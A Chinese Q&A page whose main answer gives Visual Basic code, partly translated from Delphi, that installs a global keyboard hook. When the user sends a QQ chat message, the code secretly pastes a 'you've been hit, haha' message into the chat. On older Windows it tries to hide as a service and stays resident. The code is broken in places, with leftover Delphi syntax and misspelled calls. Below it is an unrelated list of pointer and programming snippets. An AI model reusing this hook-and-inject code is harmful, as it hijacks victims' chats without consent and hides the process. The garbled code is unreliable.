barriers / 阅读 / 详情

VB拦截message消息

2023-07-28 09:11:20
共1条回复
gitcloud
在Windows使用SetWindowsHookEx来实现hook(钩子)。钩子分类很多,其中消息钩子可以获取对象所接受大部分Message消息。不管是消息钩子或键盘钩子或其他钩子,安装钩子的SetWindowsHookEx函数需要一个回调函数指针。Windows收到某个消息以后确认并且发送应用程序前通知我们的回调函数。
钩子有两种
1)全局钩子,也就是说我们的程序可以拦截所有外部程序收的的消息。
2)非全局钩子,拦截当前进程所收到的消息。
为了实现全局钩子,回调函数必须在DLL中。好像用VB不能编写真正的动态链接库。

以下是简单代码:"Option Explicit
"uses
" Windows, Messages, SysUtils, TlHelp32;
"Delphi 中一些头引用,相当于C++的 *.h
"键盘HOOK类型
Private Type tagKBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type"定义API函数指针,VB不支持该定义
"RegSerProc=Function(dwProcessID,dwType:Integer):Integer;stdcall;Const WH_KEYBOARD_LL = 13
Const WH_MOUSE_LL = 14
"钩子消息及指针
Private lpMsg As TagMsg
Private lpHook As Long
"动态调用DLL函数指针
Private hDll As Long
"VB不支持该定义
"RegPointer:POINTER;
"RegServiceProc:RegSerProc;
"版本
Private OsInfo As OSVERSIONINFO
"QQ窗口的一些句柄
Private buf_hWnd As Long "前台窗口句柄
Private CheckBuf_hWnd As Long "判断是否还是前台窗口句柄
Private RichChat_hWnd As Long "RichEdit20A句柄
Private CheckPaste As Long "判断是否在进行粘贴
"定时执行程序
Sub TimerWork()
MessageBox 0, "一个消息", "哈哈", 64
End Sub"粘贴代码
Sub PasteMsg()
Dim hMem As Long
Dim pStr() As Byte
Dim S As String
S = vbCrLf + vbCrLf + "恭喜你,你已经中招了!哈哈"
hMem = GlobalAlloc(GHND Or GMEM_SHARE, (LenB(S) * 2) + 4)
pStr = GlobalLock(hMem)
lstrcpy pStr(0), S
GlobalUnLock hMem
OpenClipboard 0
EmptyClipboard
SetClipboardData CF_TEXT, hMem
CloseClipboard
GlobalFree hMem
"发送WM_PASTE对QQ2006 and 2007 已经不起作用
"PostMessage(lphWnd,WM_PASTE,0,0);
CheckPaste = True
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), KEYEVENTF_KEYUP, 0
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0
CheckPaste = False
End Sub
"Enum窗口
Function EnumProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean
Dim RichName As String, ParentName As String "RichEdit20A,AfxWnd42类名
Dim RichBuf As String * 255, ParentBuf As String * 255
Dim ParenthWnd As Long

"获取父窗口,通过AfxWnd42进行窗口查找
ParenthWnd = GetParent(hWnd)
GetClassName hWnd, RichBuf, 256
RichName = Left(RichBuf, InStr(RichBuf, vbNullChar) - 1)
If RichChat_hWnd > 0 Then
EnumProc = False
Exit Function
End If
If LCase(RichName) = "richedit20a" Then
"获取父窗口类名
If ParenthWnd <> 0 Then
GetClassName ParenthWnd, ParentBuf, 256
ParentName = Left(ParentBuf, InStr(ParentBuf, vbNullChar) - 1)
End If
"通过父窗口类名进行比较,判断是否为输入窗口
If LCase(ParentName) = "afxwnd42" Then
PasteMsg
RichChat_hWnd = hWnd
EnumProc = False
Exit Function
End If
End If
"继续查找子窗口
EnumChildWindows hWnd, AddressOf EnumProc, 0
EnumProc = True
End Function"Hook代码
Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim qqBuf As String * 255
Dim frmBuf As String * 255
Dim frmName As String "窗口名称
Dim clsName As String "获取类名
Dim p As KBDLLHOOKSTRUCT "键盘按键指针类型

If nCode = HC_ACTION Then
If (wParam = WM_KEYDOWN) And (Not CheckPaste) Then begin
"p:=PKBDLLHOOKSTRUCT(lParam);
"此处应该翻译为以下:
CopyMemory p, ByVal lParam, Len(p)

"判断是否Ctrl+V发送
If (p.vkCode = VK_RETURN) And ((GetKeyState(VK_CONTROL) And &H8000) <> 0) Then
"获取当前前台窗口
buf_hWnd = GetForegroundWindow

GetWindowText buf_hWnd, frmBuf, 256
GetClassName buf_hWnd, qqBuf, 256
frmName = Left(frmBuf, InStr(frmBuf, vbNullChar) - 1) "该地方只是一个处理而已
clsName = Left(qqBuf, InStr(qqBuf, vbNullChar) - 1)

"通过判断是否还是当前窗口,如果不是则执行重复操作
If (CheckBuf_hWnd <> buf_hWnd) Then CheckBuf_hWnd = buf_hWnd

"查找QQ窗口
If (InStr(clsName, "#32770") > 0) And ((InStr(frmName, "聊天中") > 0) Or (InStr(frmName, " 群") > 0)) Then
"重新初始化QQ编辑控件句柄
If RichChat_hWnd <> 0 Then RichChat_hWnd = 0

"遍历子窗口进行查找
EnumChildWindowsmbuf_hWnd , AddressOf EnumProc, 0
End If
"如果是原来窗口,那么直接进行处理操作
ElseIf (InStr(clsName, "#32770") > 0) And ((InStr(frmName, "聊天中") > 0) Or (InStr(frmName, " 群") > 0)) Then
PasteMsg
End If
End If
End If
HookProc = CallNextHookEx(lpHook, nCode, wParam, lParam)
End FunctionPublic Sub Main()
"注册钩子时先判断操作系统版本
OsInfo.dwOSVersionInfoSize = Len(OsInfo)
GetVersionEx OsInfo

If OsInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then
"如果是NT系统那么向系统注册钩子
lpHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf HookProc, hInstance, 0)

如果向系统注册钩子失败
If lpHook <= 0 Then SetTimer 0, 0, 500, AddressOf TimerWork
Else
"向9x注册系统服务
hDll = LoadLibrary("kernel32.dll")
RegPointer = GetProcAddress(hDll, "RegisterServiceProcess")
If RegPointer <> 0 Then
"VB不支持该指针,所以就不翻译了
"RegServiceProc:=RegSerProc(RegPointer);
"RegServiceProc(GetCurrentProcessID,1);
Else
"如果没有向9x注册成功服务器,以Timer进行操作
SetTimer 0, 0, 500, AddressOf TimerWork
End If
End If
"消息循环,永驻内存
Do While GetMessage(lpMsg, 0, 0, 0)
TranslateMessage lpMsg
DispatchMessage lpMsg
Loop
End Sub

相关推荐

pointer;是什么意思

pointer英 [u02c8pu0254u026antu0259(r)] 美 [u02c8pu0254u026antu025a] n. 教鞭;建议;线索;(测量仪器上的)指针
2023-07-26 16:37:462

C语言指针问题,我这样想利用pointpointer改变pointer,使pointer指向整形变量number2,可是最终运行不对

*pointpointer = &number2;这样就对了
2023-07-26 16:37:541

指针(pointer)有什麼用???

指针=内存门牌号找变量只要找对门牌号就找到了
2023-07-26 16:38:013

C++请高手帮忙注释或讲解其中s t lastpointer pointer 这几个参数的意义和作用

这段代码的主要功能就是使用队列来格式化输出二叉树,队列的特点就是先进先出,因此该方法的基本思想史,首先把树的根结点放入队列,判断队列是否为空,如果不为空,输出队列头结点的值,判断该结点是否有左右结点,如果有,把它们送入队列中,然后使队列头结点出队;如果为空,表示树中所有结点的值已全部输出。s:指出该结点在书中的深度,根结点深度为1,下一层结点为2,以此类推,程序里面h也是用来记录上一个从队列中出来的结点的深度t:举个例子来说,对于深度为3满二叉树,最底层的叶子结点的数目是4个,则从左往右编号1-2-3-4,t就是这些编号,如果该结点是左结点,该t值等于其父亲结点的t值乘上2再减去1,如果是右结点,则只是父亲结点的t值乘上2,这就是代码后面输出oper后为什么这样给t赋值。lastpointer :该指针指向上一个从队列aQueue中出来的头结点pointer :该指针指向队列aQueue中的头结点中间if...else if..else中的意思就是在输出oper之前,在oper的值前面要输出多少个空格,使结果呈现树的那种形态
2023-07-26 16:38:231

int *pointer;那么 (pointer)++与pointer++有什么区别?

(pointer)++与pointer++基本没差别1、&*pointer 由右向左结合,取pointer指针的值,再取这个值的地址,相当于取a的地址2、*&a 由右向左结合,取a的地址,再取这个地址的值,相当于取a的值纯粹文字游戏,无必要不要这样写程序
2023-07-26 16:38:301

c++ pointer 与指针有关的问题

因为这个你返回的指针所指向的内容 在函数调用完毕时就是一个不确定的值了,因为数组时局部的,函数调用完毕的时候会自动销毁的,虽然有个地址,但是地址所指向的内容是不对的,好好想想 ,呵呵,希望我的回答能够帮到你。
2023-07-26 16:38:393

C++的pointer问题?

第一个是指针,接收指针类型的实参,第二个是引用,接收整型实参
2023-07-26 16:38:473

C语言中两个指针变量(pointer_1)++和pointer_1++的区别?

++应该和*(作为指针取值时)优先级相同吧,只是这一级运算符按照 自右向左 结合规则,导致++比*优先处理。有点儿吹毛求疵,但感觉这样好像更严谨一些。
2023-07-26 16:38:575

c语言 pointer 完全一团浆糊…

int *p=&x;p是地址,而*p可以来理解为解引用,就是值。对于char* p的那个,其实是编译器搞的鬼!*p为首字母,而输出p的时候,编译器会自动寻址到‘"处!char p[]:数组么!存的类型为char,单个字符char* p[]:指针数组!存的类型为char*,可以为字符串同一时间答题,为什么他最快回答?无奈没抢到最快,就再说一些有用没用的废话吧!如果你只是问C而不是C++那么你不会涉及到string,string是一个泛型类(stl其中之一),string的处理方式并没有尾部追加‘"。追加""是C语言的。至于char* p,p其实就是地址。上面说了编译器搞的鬼。因为你输出用的是“%s”。对于寻址:int *p,他拿到的就是个int,4字节。无可厚非。所以int* p指向int类型的变量。而char* p寻址也如其表示一样。就是按照char类型寻址,1字节,但是他最终会寻址到""处,来告诉编译器,你不能向下寻址了!
2023-07-26 16:39:162

一 :c语言中*pointer()和(*pinter)()有区别吗? 请详细说明。

肯定有的
2023-07-26 16:39:363

c语言,关于pointer的问题,求解,THX

char *c,*d; c = s;//指向s的首元素地址 d = &s[3];//指向s[3]的地址
2023-07-26 16:39:446

变量都可以简写吗,如:pointer简写为:“p”

变量是自己定义的,想怎么写就怎么写
2023-07-26 16:39:584

关于c语言pointer的一个问题 ++30

#include<iostream.h>int point_Sum(int *arrayName,int arraylength);main(){ int result = 0; int array[5] = {1,3,5,7,9}; result = point_Sum(array,5); printf("数组array的所有元素的和 是:%d ",result);}int point_Sum(int* arrayName, int arraylength){ int * ptrArray = arrayName; int sum = 0; for(i=0;i<arraylength;i++){ sum += *ptrArray ; ptrArray ++; } return sum; }
2023-07-26 16:40:062

(在线等)请问C语言中* pointer_i与* i_pointer有什么区别

你好!int*pointer=3;合法?我都编译不能通过!!!如有疑问,请追问。
2023-07-26 16:40:163

1.定义2个浮点型变量 2.定义2个指针变量a_pointer,b_pointer,使这2个指针变量分别指向a,b 3.用printf函数输

.....
2023-07-26 16:40:264

C语言,指针的指向*pointer_1=a;是否等价于pointer_1=&a;

这样写:int *p1 = NULL;int *p2 = NULL;int *p3 = NULL;初始化下指针。
2023-07-26 16:40:372

C语言指针问题。

点头像,,
2023-07-26 16:40:577

c++ pointer问题

*号是解引用符号。*p 表示获得 p指针指向的对象的引用例如p=&firstvalue的话,你把 *p当成就是firstvalue 就能明白拉!而至于p2 = &secondvalue;p1=p2;可以当作就是p1=&secondvalue;
2023-07-26 16:41:122

c++里面 pointer+k 和 *(pointer+k)的区别是什麼呀

设 p 是指针,则 p+k 表示指针向后移动 k 个单元,每个单元的大小是 p 指向的类型的 sizeof 大小,所以 p+k 的结果仍然是个指针。而 *(p+k) 是得到 p+k 这个指针位置上存储的数据类型的值。
2023-07-26 16:41:202

c++pointer和*p一样吗

一样
2023-07-26 16:41:502

pointerpointer有多少个图片

有大量的图片,因为这里面的图片是会动态更新增加的。
2023-07-26 16:41:571

如何实现pointer类型的数据写到数组中

可以,是引用private void myfunc(List<Point> yourlist){yourlist.Add(new Point(123, 456));}private void button1_Click(object sender, EventArgs e){List<Point> mylist = new List<Point>();myfunc(mylist);Text = mylist[0].ToString(); // 123, 456}
2023-07-26 16:42:041

为什么pointer-1和pointer-2的地址没有互换啊

你没有理解C语言函数“值传递”的含义,形参不会影响实参,要想通过函数改变变量的值,要传递该变量的地址给函数,现在你要通过swap函数改变指针的值,那就要把该指针的地址传递给函数,要把pointer-1和pointer-2 的地址传递给swap才行,那么swap的参数类型是int**才行如下:void swap(int** p1,int** p2){int* temp;temp=*p1;*p1=*p2;*p2=temp;}调用时用pointer-1和pointer-2的地址:swap(&pointer-1,&pointer-2); 开头的函数声明也要改一下
2023-07-26 16:42:121

Delphi程序使用资源的释放

 写出一个不会造成资源分配崩溃的Delphi应用程序的关键是确保如果程序中分配了资源 即使当故障发生 程序也应能释放占用的资源   文件 内存 WINDOWS资源和对象是一些必须时时加以注意的需确保释放的资源 下面的事件控制代码例子中先分配了内存 然后产生了一个错误 而造成它不再执行释放内存的程序代码   ProcedureTForm .ButtonlClick(Sender Tobject)   Var   Pointer Pointer   Integer Numzero Intger   begin   Numzero Κ   GetMem(Pointer ) {分配 K的内存资源}   Integer Κ divNumzero {此句产生一个除法错误}   FreeMem(Pointer ) {这里此句将不被执行}   end   尽管大多数错误不会这样明显 但上例包含了重要的一点 当错误产生后 程序执行跳出模块 其后的资源释放程序代码不再被执行 为了确保上例中的FreeMem能够释放被GetMem占用的内存资源 必须把代码放入一个资源保护模块   这里给出一个曲型的资源保护模块的格式   {资源的分配}   try   {资源的使用}   finally   {资源的释放}   end   上面的try...finally模块可以使程序总能执行finally部分中的任何程序代码 即使有错误在保护模块中产生 当try部分中的某一条代码执行引起错误时 执行将直接跳到finally部分 若执行中没有错误产生 则程序按正常顺序执行   在下面的事件控制代码例子中先分配了内存 然后产生了一个错误 但是仍然执行了释放内存的程序代码   ProcedureTForm .Button Click(Sender Tobject)   Var   Pointer Pointer   Integer Numzero Integer   begin   Numzero Κ   GetMem(Pointer ) {分配 K的内存资源}   try   Integer Κ divNumzero {此句产生一个除法错误}   finally   FreeMem(Pointer ) {这里此句仍将被执行}   end   end lishixinzhi/Article/program/Delphi/201311/25084
2023-07-26 16:42:191

怎么访问Pointer类型的变量?

我定义了如下一个变量:a:Pointer;FileWrite(filename,a,...);如何读取a中的内容?
2023-07-26 16:42:281

java调用dll如何传入指针?invoke后如何获取指针的值?

假设我有一个叫test.dll的动态库,其中有一个函数如下:  extern "C" int add(int* a,int* b,int* c,int d,char* PicPath)  {  FILE *fp;  fp=fopen(PicPath,"wt");  for(int i=0;i   {  c[i]=a[i]+b[i];  fprintf(fp,"%d ",c[i]);  }  fclose(fp);  return 1;  }  该函数的功能是a,b两个数组的值相加,和存放的数组c中,在将和写入到指定的文件,数组的维数  有传入的参数决定。  问题提出:  1.Java中如何调用指针类型的参数;  2.整形的参数可以直接传入吗?;  3.PicPath为何是指针型的,怎么不是CString类型的;  4.如何获取输入型参数的返回值;  Java调用动态链接库的代码如下:  JNative t= new JNative("test.dll", "add"); //加载test.dll文件,并调用add方法;  t.setRetVal(Type.INT); // 设置调用后的返回类型  // Java中构造指针,并为指针分配空间  Pointer a = new Pointer(MemoryBlockFactory.createMemoryBlock(4 * 10));  Pointer b = new Pointer(MemoryBlockFactory.createMemoryBlock(4 * 10));  Pointer c = new Pointer(MemoryBlockFactory.createMemoryBlock(4 * 10));  Pointer strP= createPointer(100);  strP.setStringAt(0, "C:\1.txt");  int d=10;  // 为数组a和b赋值  for (int i = 0; i   a.setIntAt(4 * i, i);  b.setIntAt(4 * i, i);  }  // 设置参数:  t.setParameter(0, a);  t.setParameter(1, b);  t.setParameter(2, c);  t.setParameter(3, d);  t.setParameter(4, strP);  t.invoke(); // 调用函数并执行  // 输出和的值,注意:一个整形值需要用4个字节存储,所以j前面需要乘以4  for (int j = 0; j   System.out.println(c.getAsInt(4 * j));  }  // 释放内存  a.dispose();  b.dispose();  c.dispose();  好了,这样一个完整的调用例子就结束了,我只是写出了程序中的关键的代码,具体的还需要写一  个类,并且继承一个基类,在复写基类中的方法,这些都比较简单,大家可以参考一下网上的其他  例子。  问题解答:  1.Java中调用指针类型的参数:需要创建Pointer变量,并为其分配空间  2.整形的数据可以直接传入;  3.JNative对CString类型支持不是很良好,调用CString的方法时,经常会报一些异常,所以我把路径改成  的字符指针;  4.输入型参数作为输出:可以参见以上的例子,数组c是如何设置和输出的。
2023-07-26 16:42:481

Epson投影仪的pointer(电子教鞭功能)是什么用的?怎么使用梯形矫正?在遥控上是哪个键?

梯形矫正:menu菜单,进入高级模式,上下找,有梯形矫正
2023-07-26 16:42:571

reference和pointer的区别和联系

下面是我写的一段程序来验证pointer与reference的区别和联系的,希望能对大家理解pointer & reference的区别和联系有所帮助:#include "stdafx.h"#include <iostream>using namespace std;int main(int argc, char* argv[]){ int ival = 1024; int *pi = &ival; // a pointer int &rval = ival; // a reference int jval = 4096; int xval = 8192;cout << "ival = " << ival << " "; cout << "&ival = " << &ival << " "; cout << endl; cout << "pi = " << pi << " "; cout << "&pi = " << &pi << " "; cout << "*pi = " << *pi << " "; cout << endl; cout << "rval = " << rval << " "; cout << "&rval = " << &rval << " "; cout << endl; cout << "jval = " << jval << " "; cout << "&jval = " << &jval << " "; cout << endl;// change the values of the reference and the pointer pi = &jval; rval = jval;// print the changes cout << endl; cout << "ival = " << ival << " "; cout << "&ival = " << &ival << " "; cout << endl; cout << "pi = " << pi << " "; cout << "&pi = " << &pi << " "; cout << "*pi = " << *pi << " "; cout << endl; cout << "rval = " << rval << " "; cout << "&rval = " << &rval << " "; cout << endl; cout << "jval = " << jval << " "; cout << "&jval = " << &jval << " "; cout << endl;cout << endl; *pi = xval; cout << "pi = " << pi << " "; cout << "&pi = " << &pi << " "; cout << "*pi = " << *pi << " "; cout << endl; cout << "jval = " << jval << " "; cout << "&jval = " << &jval << " "; cout << endl;return 0;}一次的执行结果如下:ival = 1024 &ival = 0012FF7Cpi = 0012FF7C &pi = 0012FF78 *pi = 1024rval = 1024 &rval = 0012FF7Cjval = 4096 &jval = 0012FF70ival = 4096 &ival = 0012FF7Cpi = 0012FF70 &pi = 0012FF78 *pi = 4096rval = 4096 &rval = 0012FF7Cjval = 4096 &jval = 0012FF70pi = 0012FF70 &pi = 0012FF78 *pi = 8192jval = 8192 &jval = 0012FF70
2023-07-26 16:43:051

请问turbo pascal中的pointer类型如何使用,能否句个例子?

var p: ^integer;begin new(p); readln(p^); writeln(p^+1); dispose(p);end.
2023-07-26 16:44:032

指针变量pointer=100不对吗

程序编译起来没问题,只是有警告,可以运行。但是这样用法很不好,因为你赋的整数值是随便选的,对程序来讲没有意义。并且如果你赋的值刚好指向系统内存的关键位置,很有可能会引起系统崩溃。实际上可以将整数赋值给一个指针变量,但是不要这样做。
2023-07-26 16:44:101

鼠标手型,css怎样使鼠标移到div上显示手型

<html><body><p>请把鼠标移动到单词上,可以看到鼠标指针发生变化:</p><div style="cursor:pointer">Pointer</div><br /></body></html>。 给div添加设置cursor:pointer属性就可以了。cursor 属性规定要显示的光标的类型(形状),该属性定义了鼠标指针放在一个元素边界范围内时所用的光标形状,pointer就是手型
2023-07-26 16:44:352

STEP 7 以哪种格式存储POINTER参数类型?

STEP 7以 6 个字节保存POINTER参数。显示了用于保存POINTER参数类型的内存区域以及每个字节中保存的数据。POINTER参数类型保存了下列信息: DB号(如果DB中没有保存任何数据时为0)。 CPU中的内存区域(表格中列出了不同内存区域的十六进制代码)。数据的地址(按照Byte.Bit格式)。 如果将形式参数声明为POINTER参数类型,则只需要指定内存区域和地址。STEP 7自动将输入项目的格式转换为指针格式。
2023-07-26 16:44:492

C++中指针做为参数传递

//box_grid *start = new box_grid;//box_grid *pointer = new box_grid;//pointer = start;上面pointer指针没必要分配空间,你只是单纯的指向start地址而已,直接写box_grid *pointer = start;就可以了;//ppointer -> next ->box_grid_l_value = ssnail_m;//(*(*ppointer).next).box_grid_v_value = ssnail_n;这两句话左边的表达式表述的意思一样啊ppointer -> next ->box_grid_l_value ==(*(*ppointer).next).box_grid_v_value ,另外,你指针还有好多需要学习,指针作为函数参数传递,能改变实参指针所指向的内容,不能改变实参指针地址
2023-07-26 16:45:083

Delphi中DLL调用后如何完全释放

Delphi有静态加载Dll和动态加载Dll,静态加载的Dll不用我们释放;动态加载需要我们自己释放;这里只附上动态加载DLL的释放(此处Dll和Exe程序在同一路径下):procedure TForm1.Button2Click(Sender: TObject);var MyHandle:THandle ;FPointer:Pointer;MyDll_Func: function (s:string):Integer;stdcall;begintrytryMyHandle:=LoadLibrary("project1.Dll") ;if MyHandle<>0 thenbeginFPointer:=GetProcAddress(MyHandle ,PChar(Edit1.text));if FPointer<>nil thenbeginMyDll_Func:=FPointer;MyDll_Func(Edit1.text) ;endelseShowMessage("此"+Edit1.text+"方法,在project1.Dll中不存在");endexceptshowmessage("加载project1.Dll异常");end;finallyFreeLibrary(MyHandle) ;end;end;
2023-07-26 16:45:151

请问这段C语言是什么意思(关于POINTER_32的定义)

这是甚麼鬼满意解答,根本是废材
2023-07-26 16:45:264

C语言题目求解

1)&*pointer_1=&(a)=&a 因为pointer_1=&a-->*pointer_1=a 2) *&a=a 先取a的地址,再取地址里面的值,不还是a嘛。 3) (pointer_1)++和pointer_1++的区别:没有区别 应该是 *(pointer_1)++和*pointer_1++还有*(++pointer_1)的区别: *(pointer_1)++和*pointer_1++没有区别;都是先使用数值*(pointer_1)然后指针pointer_1加1; *(++pointer_1)是先使指针pointer_1加1再使用它此时指向的值。比如 int a[]={1,2,3},*pointer_1;pointer_1=a=2000H; *(pointer_1)++=*pointer_1++=1;然后pointer_1=2004H(int vc下占4个字节,tc下占2个字节) 但如果p=a=2000H;那么*(++pointer_1)=2;开始先使p=2004H,然后输出其对应的数2 实践出真知!上机操作就知道了。
2023-07-26 16:45:361

两个指针变量的比较

比如char[100]两个指针指向字符串的某个位置,比如point2指向字符串头,point1指向字符串的中间,则point1>point2。这种写法用于判断指向同一个数组(最经常是字符数组,即字符串)的位置的前后,因为对于一个数组,其内存空间是连续分配的
2023-07-26 16:45:461

在C语言中一个指针占用多少字节。

指针占用多少字节,取决于所使用的编译器版本,编译器有16位、32位、64位之分,16位和32位编译器可以运行在32位操作系统上,而64位操作系统可以运行这三种编译器。16位编译器下,一个指针占用2字节;32位编译器下,一个指针占用4字节;64位下,一个指针占用8字节。当前(2019年1月)国内大部分电脑已经使用上了64位Windows操作系统,但Visual Studio等编程软件默认使用的编译器是32位编译器,因此最常见的情况是一个指针占用 4 个Byte。苹果的macOS系统自带clang编译器,默认是64位,因此通常在苹果电脑上编写c语言程序时,指针占用8个字节。
2023-07-26 16:45:5711

C语言 编程为什么出现 pointer required on left side of -> in function main

建议这样写 :把“struct fan *p,*pend”改为struct fan *p[30],这样p就是一个指针类型的数组,为题就能解决!
2023-07-26 16:47:303

数据结构是什么

数据结构是计算机存储、组织数据的方式。数据结构是指相互之间存在一种或多种特定关系的数据元素的集合。通常情况下,精心选择的数据结构可以带来更高的运行或者存储效率。数据结构往往同高效的检索算法和索引技术有关。数据的逻辑结构和储存结构是数据结构的两个密切相关的方面,同一逻辑结构可以对应不同的存储结构。算法的设计取决于数据的逻辑结构,而算法的实现依赖于指定的存储结构。数据结构的研究内容是构造复杂软件系统的基础,它的核心技术是分解与抽象。通过分解可以划分出数据的3个层次;再通过抽象,舍弃数据元素的具体内容,就得到逻辑结构。类似地,通过分解将处理要求划分成各种功能,再通过抽象舍弃实现细节,就得到运算的定义。数据的物理结构介绍:数据的物理结构是数据结构在计算机中的表示(又称映像),它包括数据元素的机内表示和关系的机内表示。由于具体实现的方法有顺序、链接、索引、散列等多种,所以,一种数据结构可表示成一种或多种存储结构。数据元素的机内表示(映像方法):用二进制位(bit)的位串表示数据元素。通常称这种位串为节点(node)。当数据元素有若干个数据项组成时,位串中与各个数据项对应的子位串称为数据域(datafield)。因此,节点是数据元素的机内表示(或机内映像)。顺序存储结构和链式存储结构。顺序映像借助元素在存储器中的相对位置来表示数据元素之间的逻辑关系。非顺序映像借助指示元素存储位置的指针(pointer)来表示数据元素之间的逻辑关系。以上内容参考:百度百科-数据结构
2023-07-26 16:48:201

什么是back pointer(反向指针)?

A back pointer is an accessory frequently used in radiation therapy to pinpointthe exitb eam centre on the patient"s skiUn.s e of this accessory facilitatespositioning the patient for treatment so that the prescribed exit point, oftendelineated by skin marks, can be brought readily intoco incidence with the exitbeam centre. The laser device described here illuminates a single plane relevantto the patient set-up procedures.参考:http://www.iop.org/EJ/article/0031-9155/18/6/007/pbv18i6p881.pdf?request-id=f9702100-fb8d-4d6d-924c-ba8c1ecc5fdb
2023-07-26 16:48:451

关于指针的这段代码哪里错了,该怎么改

int swap() 要有返回值
2023-07-26 16:48:522

cursor pointer是什么意思

这是css里的吧意思就是鼠标指针变成 手 的形状,和放到链接上面的鼠标指针一样。
2023-07-26 16:48:591

Visual C++ 各种字母的标识含义

  全局变量   g_   常量   c_   c++类成员变量   m_   静态变量   s_   类型部分   指针   p   函数   fn   无效   v   句柄   h   长整型   l   布尔   b   浮点型(有时也指文件)   f   双字   dw   字符串   sz   短整型   n   双精度浮点   d   计数   c(通常用cnt)   字符   ch(通常用c)   整型   i(通常用n)   字节   by   字   w   实型   r   无符号   u   描述部分   最大   Max   最小   Min   初始化   Init   临时变量   T(或Temp)   源对象   Src   目的对象   Dest
2023-07-26 16:49:092

匈牙利命名法的反对声音

匈牙利命名法是一种编程时的命名规范。命名规范是程序书写规范中最重要也是最富争议的地方,自古乃兵家必争之地。命名规范有何用?四个字:名正言顺。用二分法,命名规范分为好的命名规范和坏的命名规范,也就是说名正言顺的命名规范和名不正言不顺的命名规范。好的舞鞋是让舞者感觉不到其存在的舞鞋,坏的舞鞋是让舞者带着镣铐起舞。一个坏的命名规范具有的破坏力比一个好的命名规范具有的创造力要大得多。有人认为,匈牙利命名法是一个坏的命名规范。举例说明。以静态强类型编程语言为例,分析范本为C语言和C++语言。下文中的匈法为匈牙利命名法的简称。 匈牙利命名法的收益是含糊的,无法预期的。范本1:strcpy(pstrFoo,pcstrFoo2) Vs strcpy(foo,foo2)没有一个程序员会承认自己不知道strcpy函数的参数类型,所以收益为零。范本2:unknown_function(nFoo) Vs unknown_function(foo)收益仍是没有的。对于一个不知道确定类型的函数,程序员应该去查看该函数的文档,这是一种成本。使用匈法的唯一好处是看代码的人知道这个函数要求一个整型参数,这没有任何用处。函数是一种接口,参数的类型仅仅是接口中的一小部分。诸如函数的功能、出口信息、线程安全性、异常安全性、参数合法性等重要信息还是必须查阅文档。范本3:nFoo=nBar Vs foo=bar使用匈法的唯一好处是看代码的人知道这里发生了一个整型变量的复制动作,听起来没什么问题,可以安心了。如果他看到的是nFoo=szBar,就没办法放心下来了。但是事情并非如此。首先出现问题的应该是编译器。另一方面,nFoo=nBar只是在语法上合法而已,看代码的人真正关心的是语义的合法性,匈法对此毫无帮助。另一方面,一个优秀的书写者会自觉地遵从一个法则:代码最小组织单位中的临时变量以一两个为宜,如果超过三个就应该重新组织。结合前述第一个法则,可以得出这样的结论:易于理解的代码本身就应该是易于理解的,这是代码的内建高质量。好的命名规范对内建高质量的助益相当有限,而坏的命名规范对内建高质量的损害比人们想象的要大。 匈牙利命名法在C语言是难以实施的,在C++语言中是无法实施的。匈法是类型系统的冗余,所以实施匈法的关键是我们是否能够精确地对类型系统进行复制。这取决于类型系统的复杂性。C语言:1.内置类型:int,char,float,double 复制为 n,ch,f,d?好像没有什么问题。但是void应该怎么表示,匈法做不到。2.组合类型:array,union,enum,struct 复制为 a,u,e,s?并不方便。这里的难点不是为主类型取名,而是为副类型取名。an表示整型数组?sfoo,sbar表示结构foo,结构bar?ausfoo表示联合结构foo数组?非常冗繁。3.特殊类型:pointer。pointer在理论上应该是组合类型,但是在C语言中可以认为是内置类型,因为C语言并没有非常严格地区分不同的指针类型。C++语言:1.class:如果说C语言中的struct还可以用stru搪塞过去的话,不要梦想用cls来搪塞C++中的class。严格地讲,class根本就并不是一个类型,而是创造类型的工具,在C++中,语言内置类型的数量和class创造的用户自定义类型的数量相比完全可以忽略不计。stdvectorFoo表示标准库向量类型变量Foo,是不合乎逻辑的。2.命名空间:boostfilesystemiteratorFoo,表示boost空间filesystem子空间遍历目录类型变量Foo,依旧不可行。3.模板:std::map<std::string,std::string>类型的确切名字是什么,已经超过了255个字符。4.模板参数:template <class T, class BinaryPredicate>const T& max(const T& a, const T& b, BinaryPredicate comp) 这一条来用匈牙利命名法命名,难度极大。5.类型修饰:static,extern,mutable,register,volatile,const,short,long,unsigned 加上类型修饰,更是难上加难。匈牙利命名法有其优点但也有缺点,这就需要在使用中扬长避短,合理应用它。
2023-07-26 16:49:161

C++ 为什么 Dynamic Binding 必须使用 Pointer

BaseClass c = DerivedClass(); 这句话实际上生成一个临时的DerivedClass对象 再赋值给c相当于这两句话。DerivedClass c1();BaseClass c=c1;因此最终得到的c和原来的c1没有关系,因为复制成BaseClass 对象了 c根本不是DerivedClass对象,怎么会有DerivedClass的虚函数呢?BaseClass* c = new DerivedClass(); 这个是指针,那没有两个不同的对象,动态绑定,绑定到同一个地址啊。c->foo() 和 (*c).foo() 没有性能区别
2023-07-26 16:49:313

这个ISO C++ forbids comparison between pointer and integer是怎么回事?

单引号双引号错误
2023-07-26 16:49:402

以q开头的英语单词

quote 引用quality 质量quantity 数量quit 推出quick 快quotient (数)商queen 女王qualified (合格的)quick-handed (快手快脚的)quiet-natured (天生文静的)quick---快的, 迅速的, 敏捷的, 急剧的, 活泼的quiet---静止的, 宁静的, 从容的question(问题)quadrant(四分圆)quadrate(方形)quadricycle(四轮车)quadrilateral(四边形的)quaere(请问)quaesitun(目标)quaff(痛饮)quaggy(沼泽)希望可以帮到你!
2023-07-26 16:50:3212

突尼斯西北部埃尔克夫白垩系-第三系界线附近的事件序列

